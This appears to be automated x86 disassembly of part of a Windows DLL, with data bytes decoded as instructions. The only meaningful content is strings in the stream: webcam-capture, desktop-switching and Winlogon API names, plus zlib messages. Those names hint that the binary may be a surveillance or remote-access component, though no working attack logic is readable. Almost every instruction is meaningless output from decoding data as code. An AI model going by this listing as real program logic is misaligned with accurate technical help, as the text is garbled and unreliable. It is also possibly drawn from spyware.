add byte fs:[eax], al
add byte [eax], al
dec ecx
jae 0x100200aa
imul ebp, dword [esi + 0x64], 0x6956776f
jae 0x100200c5
outsd dx, dword fs:[esi]
ja 0x100200af
imul esi, dword [ebx + 0x69], 0x656c62
bound ebp, qword [ebp]
insb byte es:[edi], dx
add byte gs:[edi + ebp*2 + 0x6f], cl
dec esp
outsd dx, dword [esi]
outsd dx, dword [esi]
dec esp
outsd dx, dword [esi]
outsd dx, dword [esi]
imul esi, dword [ebp + 0x70], 0x41
arpl word [ebx + 0x6f], sp
jne 0x100200da
je 0x100200c1
push ebx
imul esp, dword [ecx + eax*2], 0x65470000
inc edi
invalid
add byte [eax], al
add byte [edi + 0x65], al
inc edi
invalid
add byte [eax], al
inc edi
je 0x100200cc
je 0x100200cc
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0x49
outsb dx, byte gs:[esi]
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
jb 0x100200ef
popal
je 0x100200ee
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [ebp + 0x78], ah
js 0x100200fb
insb byte es:[edi], dx
outsd dx, dword [esi]
jb 0x100200f4
jb 0x100200bf
js 0x100200f9
js 0x100200f9
js 0x100200f9
add byte [eax], al
add byte [eax], al
dec edi
jo 0x10020100
outsb dx, byte [esi]
dec ecx
outsb dx, byte [esi]
jo 0x10020115
je 0x100200e6
jae str.MSVFW32.dll
je 0x10020116
outsd dx, dword [esi]
jo 0x100200a9
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
je 0x10020104
add byte [eax], al
push ebx
je 0x10020104
push esp
push 0x64616572
inc esp
jae 0x10020124
je 0x1002012a
jo 0x100200bd
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x10020118
je 0x10020118
push 0x64616572
inc esp
jb 0x1002012c
popal
inc esp
jae str.1.1.4
imul esi, dword [edi + ebp*2 + 0x70], 0
je 0x1002013e
jo 0x100200d1
add byte [eax], al
add byte [edi + 0x70], cl
dec edi
jo 0x1002013c
outsb dx, byte [esi]
inc esp
jae 0x10020147
jae 0x10020147
je 0x1002014d
jo 0x10020121
add byte [eax], al
add byte [eax], al
push edi
imul ebp, dword [esi + 0x6c], 0x6e6f676f
outsb dx, byte [esi]
insb byte es:[edi], dx
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
arpl word [ecx + 0x70], sp
inc ebx
add byte [ebx + 0x61], ah
arpl word [ecx + 0x70], sp
inc ebx
jb 0x1002015b
popal
je 0x1002015e
inc ebx
inc ebx
popal
jo 0x10020171
jne 0x10020171
push edi
push edi
imul ebp, dword [esi + 0x64], 0x41776f
and esi, dword [ebx]
xor dh, byte [edi]
outsd dx, dword [esi]
ja 0x10020148
add byte [ebx], ah
and esi, dword [ebx]
xor dh, byte [edi]
aaa
xor byte [eax], al
add byte [ebp + 0x53], cl
dec ebp
push ebx
dec ebp
push ebx
push esi
inc esi
push edi
xor esi, dword [edx]
insb byte es:[edi], dx
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ecx + 0x43], cl
dec ecx
inc ebx
push ebx
jno 0x10020165
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x10020198
jae 0x1002019c
inc esi
jb 0x1002018d
insd dword es:[edi], dx
add byte gs:[eax], al
dec ecx
inc ebx
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1002019c
add byte [ecx], dh
xor dword [esi], ebp
xor dword [esi], ebp
xor dword [esi], ebp
xor dword [esi], ebp
xor al, 0
add byte [eax], al
outsb dx, byte [esi]
and byte fs:[ecx + ebp*2 + 0x63], ah
arpl word [ecx + ebp*2 + 0x6f], si
je 0x100201b3
outsd dx, dword [esi]
outsb dx, byte [esi]
popal
jb 0x100201c8
add byte [ecx + 0x6e], ch
imul ebp, dword [esi + 0x63], 0x6572726f
arpl word [eax + 0x64], si
popal
je 0x100201bf
and byte [ebx + 0x68], ah
arpl word gs:[ebx], bp
add byte [eax], al
add byte [ecx + 0x6e], ch
imul ebp, dword [esi + 0x63], 0x6572726f
arpl word [eax + 0x68], si
popal
and byte [eax + 0x65], ch
popal
jb 0x10020199
arpl word [eax + 0x65], bp
arpl word [ebx], bp
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x100201e5
insb byte es:[edi], dx
imul esp, dword [eax + 0x77], 0x6f646e69
ja 0x100201af
jae 0x100201fa
jp 0x100201f8
add byte [ebp + 0x6e], dh
jne 0x10020204
imul ebp, dword [esi + 0x6f], 0x77
outsb dx, byte [esi]
outsd dx, dword [esi]
ja 0x10020209
and byte [ebx + 0x6f], ah
insd dword es:[edi], dx
arpl word [edi + 0x6d], bp
jo 0x10020213
jae 0x10020217
imul ebp, dword [edi + 0x6e], 0x74656d20
push 0x646f
cmp byte [ecx], al
add dl, byte [eax]
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [edx + 0x69], ah
je 0x100201e0
add byte [eax], bh
add dword [edx], eax
adc byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x10020219
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6c207469
bound ebp, qword [ecx + 0x74]
and byte [ebp + 0x6e], ch
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1002022e
and byte [edx + 0x65], dh
jo 0x10020230
jo 0x10020230
popal
je 0x100201ce
add byte [eax], al
je 0x10020241
outsd dx, dword [esi]
and byte [ebp + 0x61], ch
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
jns 0x100201f9
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x10020247
and byte [edi + 0x72], ch
and byte [ecx + ebp*2 + 0x73], ah
je 0x10020249
outsd dx, dword [esi]
jb 0x10020203
imul esi, dword fs:[ebx + 0x74], 0x65636e61
and byte [ebx + 0x79], dh
jae 0x1002025b
popal
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
jae 0x10020267
insd dword es:[edi], dx
bound ebp, qword [edi + 0x6c]
jae str.invalid_stored_block_lengths
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ebx + 0x74], dh
insb byte es:[edi], dx
imul esp, dword [eax + 0x73], 0x65726f74
and byte fs:[ebx + 0x74], dh
outsd dx, dword [esi]
jb 0x10020266
and byte fs:[edx + 0x6c], ah
outsd dx, dword [esi]
arpl word [ebx + 0x20], bp
bound ebp, qword [edi + ebp*2 + 0x63]
imul esp, dword [eax], 0x6c
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x10020277
jae 0x10020211
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x10020279
popal
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6b636f6c
and byte [ecx + edi*2 + 0x70], dh
add byte gs:[eax], al
inc eax
add dword [edx], eax
adc byte [edx + eax + 0x18a81002], dh
add dl, byte [eax]
test al, 0x18
add dl, byte [eax]
test al, 2
add dl, byte [eax]
cwde
add al, byte [edx]
adc byte [edx + eax + 0x2781002], cl
add dl, byte [eax]
push 0x50100202
add al, byte [edx]
adc byte [eax + 2], ch
add dl, byte [eax]
push eax
adc byte [eax + 2], dl
add dl, byte [eax]
test al, 0x18
add dl, byte [eax]
imul ebp, dword [esi + 0x63], 0x61706d6f
add al, byte [edx]
adc byte [eax + 0x69100218], ch
imul ebp, dword [esi + 0x63], 0x61706d6f
je 0x100202c2
bound ebp, qword [ebp + 0x20]
jbe 0x100202c4
and byte gs:[esi + 0x65], dh
jb 0x100202d4
imul ebp, dword [edi + 0x6e], 0
add byte [eax], al
add byte [edx + 0x75], ah
bound esi, qword [ebp + 0x66]
jb 0x1002028f
bound esi, qword [ebp + 0x66]
jb 0x1002028f
jb 0x100202e4
outsd dx, dword [esi]
jb 0x10020275
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
outsb dx, byte [esi]
jae 0x100202f1
imul sp, word [ebx + 0x69], 0x6e65
je 0x100202a5
insd dword es:[edi], dx
insd dword es:[edi], dx
outsd dx, dword [esi]
jb str.invalid_distance_code
add byte [ecx + 0x74], ah
popal
invalid
popal
and byte [ebp + 0x72], ah
jb str.invalid_distance_code
jb 0x10020297
add byte [ebx + 0x74], dh
jae 0x1002030e
jb 0x10020301
popal
insd dword es:[edi], dx
and byte [ebp + 0x72], ah
jb 0x10020312
jb 0x100202a5
add byte [eax], al
add byte [esi + 0x69], ah
imul bp, word [ebp + 0x20], 0x7265
jb 0x10020320
jb 0x100202b3
add byte [ebx + 0x74], dh
jae 0x1002032a
jb 0x1002031d
popal
insd dword es:[edi], dx
and byte [ebp + 0x6e], ah
add byte fs:[eax], al
jo 0x10020279
add dword [eax], edx
and al, 0xb6
add dword [eax], edx
add dword [ecx], eax
add byte [eax], al
push ds
add dword [eax], eax
add byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, dh
mov ebx, 0xb6981001
add dword [eax], edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
push ds
add byte [eax], al
add byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
mov bh, 1
adc byte [eax], al
add byte [eax], al
add byte [ebx], dl
add byte [eax], al
add byte [edi], al
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x10020369
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ecx + ebp*2 + 0x73], ah
je 0x10020372
insb byte es:[edi], dx
imul esp, dword [eax + 0x64], 0x61747369
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
arpl word [edi + 0x64], bp
add byte gs:[eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
outsb dx, byte [esi]
jbe 0x10020381
insb byte es:[edi], dx
imul esp, dword [eax + 0x6c], 0x72657469
popal
insb byte es:[edi], dx
das
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1002039a
and byte [ebx + 0x6f], ah
add byte gs:[ecx], cl
add byte [eax], al
add byte [0x60000000], al
pop es
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push eax
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dl
add byte [eax], al
add byte [eax + ecx], dl
add byte [ebx], dh
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 0
add byte [eax + 7], dl
pop es
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pushal
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], ah
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], ah
add byte [eax], al
mov al, byte [pe_dos_header]
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
loopne 0x100203be
add byte [eax], al
push eax
pop es
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
nop
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
cmp eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
js 0x100203ee
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 1
add byte [eax], al
push ecx
pop es
add byte [eax], al
adc dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
or byte [eax], al
add byte [eax], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], dh
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], cl
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
lock add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], dl
add byte [eax], al
push ebp
or byte [eax], al
add bl, ah
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
sub eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
je 0x1002046e
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
enter 0, 0
push ecx
pop es
add byte [eax], al
or eax, 0
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
test al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
test byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
inc esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, ch
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], bl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cwde
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jl 0x100204ee
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
fadd dword [eax]
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ss
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov eax, 0
or byte [eax], al
add byte [eax + eax], cl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov word [eax], es
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, bh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push edx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
mov dword [0x53000000], eax
pop es
add byte [eax], al
and eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jb 0x1002056e
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
les eax, [eax]
add byte [eax], al
push ecx
pop es
add byte [eax], al
or eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
bound eax, qword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
and al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
movsb byte es:[edi], byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, 0
add byte [eax], al
push eax
pop es
add byte [eax], al
pop es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
xchg esp, eax
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jp 0x100205ee
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
aam 0
add byte [eax], al
push edx
pop es
add byte [eax], al
adc eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sub al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov ah, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec edx
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add ah, dh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, 0
or byte [eax], al
add byte [esi], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ss
add byte [eax], al
add al, al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
xor eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jbe 0x1002066e
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ss:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, cl
add byte [eax], al
add byte [ecx + 7], dl
add byte [eax], al
sldt word [eax]
add byte [eax], al
or byte [eax], al
add byte [esi], ah
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte es:[eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], ch
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], al
or byte [eax], al
add byte [esi], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, dx
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esi
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], bl
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x7540000], bl
add byte [eax], al
arpl word [eax], ax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jle 0x100206ee
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ds:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, bl
add byte [eax], al
add byte [edx + 7], dl
add byte [eax], al
sbb eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], bh
add byte [eax], al
push cs
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], cl
or byte [eax], al
add byte [esi], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cld
add byte [eax], al
add byte [eax + 7], ah
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ecx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
add dword [eax], 0
add byte [edx + 7], dl
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor dword [eax], eax
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
ret 0